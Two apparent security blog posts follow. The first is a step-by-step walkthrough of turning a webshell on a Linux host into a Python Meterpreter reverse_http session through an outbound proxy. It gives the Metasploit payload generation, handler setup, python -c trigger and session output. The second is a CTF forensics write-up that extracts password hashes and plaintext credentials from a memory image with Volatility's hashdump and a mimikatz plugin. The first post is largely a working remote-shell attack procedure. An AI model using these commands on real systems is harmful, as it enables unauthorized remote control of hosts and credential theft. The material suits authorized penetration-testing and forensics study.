Python Meterpreter through proxy

I got into a situation recently where I had a webshell on a Linux system and I wanted to get a full Meterpreter. Initially we thought that there was no outbound access but after a fellow teammate reversed some .jar files found on the system the proxy server was discovered. Basically now I needed a reverse shell that allowed me to specify a proxy for outbound connections. I sent a quick message to @TheColonial on IRC and he let me know that Python HTTP/HTTPS Meterpreters could do what I needed.

Testing Python on the webshell

First I used the webshell to test the ability to run Python:

python -c "import os;os.system('ls')"

Generating the payload

When this worked I moved onto generating the meterpreter payload:

msf > use payload/python/meterpreter/reverse_http

Next I set my attack host ip address and the ip address of the outbound proxy:

msf payload(reverse_http) > show options

Module options (payload/python/meterpreter/reverse_http):

   Name              Current Setting            Required  Description
   ----              ---------------            --------  -----------
   LHOST             *attack host ip*           yes       The local listener hostname
   LPORT             80                         yes       The local listener port
   LURI                                         no        The HTTP Path
   PayloadProxyHost  *outbound proxy*           no        The proxy server's IP address
   PayloadProxyPort  80                         yes       The proxy port to connect to

Last step was to generate the payload:

msf payload(reverse_http) > generate -b '\x00\xff' -t raw -f meterp-python-https-80.py
[*] Writing 606 bytes to meterp-python-http-80.py... 

This will generate a one liner that you can use to trigger the payload.

Setting up the Handler

The next step is to setup the handler:

msf payload(reverse_http) > use exploit/multi/handler

Then I set the handler payload option:

msf exploit(handler) > set payload python/meterpreter/reverse_http
payload => python/meterpreter/reverse_http

Followed by the other needed options:

msf exploit(handler) > set LHOST *attack host ip*
LHOST => *attack host ip*
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set PayloadProxyHost *outbound proxy*
PayloadProxyHost => *outbound proxy*
msf exploit(handler) > set Payloadproxyport 80
Payloadproxyport => 80
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (python/meterpreter/reverse_http):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   LHOST             *attack host ip* yes       The local listener hostname
   LPORT             80               yes       The local listener port
   LURI                               no        The HTTP Path
   PayloadProxyHost  *outbound proxy* no        The proxy server's IP address
   PayloadProxyPort  80               yes       The proxy port to connect to


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

There are a few additional options I set such as ExitOnSession to false so the handler remains open for multiple connections just in case the first one fails. Also I set verbose to true to get more verbose output for troublehsooting:

msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set VERBOSE true
verbose => true

Lastly I start the handler with exploit -j so it runs in the background:

msf exploit(handler) > exploit -j
[*] Exploit running as background job.

Triggering the payload

Next take the payload one liner that was generated and use python -c to trigger the payload in your webshell(Other forms of command execution could be potentially used to do this as well):

python -c "*python meterpreter one liner*"

Recieve payload:

[*] http://*attack host*:80 handling request from *outbound proxy*; (UUID: 6dvezhby) Staging Python payload...
[*] Meterpreter session 1 opened (*victim*:80 -> *outbound proxy*:12480) at 2016-10-05 00:12:02 +0000

Enjoy your Meterpreter :)

Toorcon 18 CTF – Forensics 250

I had a ton of fun at the Toorcon 18 CTF. On the second day of the CTF a bonus forensics challenge popped up. During the first day our forensics guy had showed me how to use Volatility so I figured I would take a crack at it. I usually don’t do forensics challenges so I knew this would be a good opportunity to learn.

Examining the file

the challenge was called Eric’s Password and we were given a file called pbrane-eric.gz. The extracted file had no file extension as seen below:

screen-shot-2016-10-20-at-10-06-41-pm

I started by running Volatility with the with the imageinfo command. This will give you information about the image and help you to determine the correct profile to use. Profiles are used to correctly perform the memory mapping:

vol.py -f <filename> imageinfo

screen-shot-2016-10-20-at-10-01-16-pm

Dumping files

Next I ran a filescan to see if it would yield any results because this was the path used to retrieve the flag on a previous challenge. This didn’t give me any flags but is useful to know:

vol.py --profile=<profilename> filescan -f <filename>

screen-shot-2016-10-20-at-10-01-31-pm

Hash Dumping

Next I figured if we were looking for passwords why not try to run a hashdump on the image. After referencing the usage guide I determined that I needed to get the hivelist first to determine the memory location of of the SAM file:

vol.py --profile=<profilename> -f <filename> hivelist

screen-shot-2016-10-20-at-10-00-23-pm

Then I used this information to run hashdump:

vol.py --profile=<profilename> -f <filename> hashdump -s <SAM memory location>

screen-shot-2016-10-20-at-10-00-03-pm

We cracked the password but quickly discovered that this wasn’t the flag. I did a bit of Googling after this to determine other password dumping techniques. this led me to the next possibility.

Dumping passwords with Mimikatz

Next we discovered that you could use a plugin that would run mimikatz on the image that can be found here. In this case you have to specify the plugin. I was attempting to do this with OSX but had to switch to Kali Linux for some reason to get this working correctly:

volatility --plugins=<plugin location> --profile=<profilename> -f <filename> mimikatz

volatility-mimikatz

We put the flag into the scoreboard and determined that we were successful! Very interesting technique and a great learning experience. I had to go outside my normal comfort zone to conquer this one and it was well worth it.

Resources